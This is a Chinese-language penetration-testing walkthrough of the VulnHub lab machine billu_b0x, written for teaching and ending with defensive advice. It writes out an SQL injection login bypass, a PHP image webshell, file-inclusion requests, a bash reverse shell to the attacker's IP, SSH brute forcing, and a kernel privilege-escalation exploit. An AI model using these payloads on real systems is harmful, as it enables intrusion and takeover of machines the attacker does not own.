vulnhub靶机billu_b0x精讲
字数 984 2025-08-22 12:23:19

Billu_b0x 靶机渗透测试教学文档

靶机信息

  • 下载地址: https://www.vulnhub.com/entry/billu-b0x,188/
  • 难度: 中等
  • 技术点: 信息收集、SQL注入、文件包含、文件上传、权限提升

信息收集阶段

1. 主机发现

nmap -sP 192.168.73.0/24

发现目标IP: 192.168.73.141

2. 端口扫描

nmap --min-rate=10000 -p- 192.168.73.141

结果:

  • 开放端口: 22(SSH), 80(HTTP)

3. 服务探测

nmap -T4 -sV -sT -sC -O -p80,22 192.168.73.141

结果:

  • 22端口: OpenSSH 5.9p1
  • 80端口: Apache httpd 2.2.22

4. 目录扫描

gobuster dir -u http://192.168.73.141/ -w /usr/share/wordlists/dirb/big.txt

发现目录:

/add /c /cmd /head /images /index /in /panel /phpmy /show /test

漏洞挖掘与利用

1. SSH服务测试

暴力破解

hydra -l root -P /root/Desktop/passwd-CN-Top10000.txt ssh://192.168.73.141 -V -f

SSH漏洞分析

OpenSSH 5.9p1版本未发现可直接利用的漏洞

2. Web服务渗透

任意文件读取漏洞

  • 测试路径: /test
  • 发现需要使用POST方式传参
  • 有效payload:
POST /test HTTP/1.1
Host: 192.168.73.141
[...]
file=index.php

成功读取index.php源码

关键文件读取

  • /etc/passwd: 可读
  • /etc/shadow: 无权限
  • c.php: 数据库配置文件
    <?php
    $conn = mysqli_connect("127.0.0.1", "billu", "b0x_billu", "ica_lab");
    ?>
    

SQL注入漏洞

  • 登录逻辑代码:
$uname=str_replace(urldecode($_POST['un']));
$pass=str_replace(urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
  • 绕过方法: 构造万能密码
    • uname: or 1=1 #
    • pass: \
  • 最终SQL语句:
select * from auth where pass='\' and uname='or 1=1#'

文件上传漏洞

  • 上传路径: /add.php
  • 上传限制:
    • 仅允许图片扩展名(jpeg, jpg, gif, png)
    • 检查MIME类型
  • 上传路径: /uploaded_images/

文件包含漏洞

  • 漏洞位置: panel.php
  • 触发条件: POST传参continue和load
  • 利用方式:
POST /panel.php?cmd=whoami HTTP/1.1
Host: 192.168.73.141
[...]
load=/uploaded_images/cmd.jpg&continue=continue

其中cmd.jpg为图片马

获取初始shell

1. 制作图片马

echo '<?php system($_GET["cmd"]); ?>' > cmd.jpg

2. 上传图片马

通过/add.php上传

3. 执行命令

POST /panel.php?cmd=whoami HTTP/1.1
Host: 192.168.73.141
[...]
load=/uploaded_images/cmd.jpg&continue=continue

4. 反弹shell

echo "bash -i >& /dev/tcp/192.168.73.138/8899 0>&1" | bash

(注意URL编码)

权限提升

方法一: 内核提权

  1. 获取系统信息
uname -a
  1. 搜索漏洞利用
searchsploit Ubuntu kernel 3.13.0-32
  1. 下载并编译exp
searchsploit -m 37292
service apache2 start
cp 37292.c /var/www/html/

在目标机器:

cd /var/www/html/uploaded_images
wget http://攻击机IP/37292.c
gcc 37292.c -o 37292
./37292

方法二: SSH密码爆破

使用hydra爆破出的密码登录:

ssh root@192.168.73.141

总结

  1. 通过目录扫描发现/test路径存在任意文件读取
  2. 读取源码发现SQL注入漏洞
  3. 利用SQL注入获取后台访问权限
  4. 通过文件上传+文件包含获取webshell
  5. 利用内核漏洞或SSH密码提升至root权限

防御建议

  1. 过滤文件读取参数
  2. 使用预处理语句防止SQL注入
  3. 严格限制文件上传类型和内容
  4. 及时更新系统和软件版本
  5. 使用强密码策略
Billu_ b0x 靶机渗透测试教学文档 靶机信息 下载地址: https://www.vulnhub.com/entry/billu-b0x,188/ 难度: 中等 技术点: 信息收集、SQL注入、文件包含、文件上传、权限提升 信息收集阶段 1. 主机发现 发现目标IP: 192.168.73.141 2. 端口扫描 结果: 开放端口: 22(SSH), 80(HTTP) 3. 服务探测 结果: 22端口: OpenSSH 5.9p1 80端口: Apache httpd 2.2.22 4. 目录扫描 发现目录: 漏洞挖掘与利用 1. SSH服务测试 暴力破解 SSH漏洞分析 OpenSSH 5.9p1版本未发现可直接利用的漏洞 2. Web服务渗透 任意文件读取漏洞 测试路径: /test 发现需要使用POST方式传参 有效payload: 成功读取index.php源码 关键文件读取 /etc/passwd: 可读 /etc/shadow: 无权限 c.php: 数据库配置文件 SQL注入漏洞 登录逻辑代码: 绕过方法: 构造万能密码 uname: or 1=1 # pass: \ 最终SQL语句: 文件上传漏洞 上传路径: /add.php 上传限制: 仅允许图片扩展名(jpeg, jpg, gif, png) 检查MIME类型 上传路径: /uploaded_ images/ 文件包含漏洞 漏洞位置: panel.php 触发条件: POST传参continue和load 利用方式: 其中cmd.jpg为图片马 获取初始shell 1. 制作图片马 2. 上传图片马 通过/add.php上传 3. 执行命令 4. 反弹shell (注意URL编码) 权限提升 方法一: 内核提权 获取系统信息 搜索漏洞利用 下载并编译exp 在目标机器: 方法二: SSH密码爆破 使用hydra爆破出的密码登录: 总结 通过目录扫描发现/test路径存在任意文件读取 读取源码发现SQL注入漏洞 利用SQL注入获取后台访问权限 通过文件上传+文件包含获取webshell 利用内核漏洞或SSH密码提升至root权限 防御建议 过滤文件读取参数 使用预处理语句防止SQL注入 严格限制文件上传类型和内容 及时更新系统和软件版本 使用强密码策略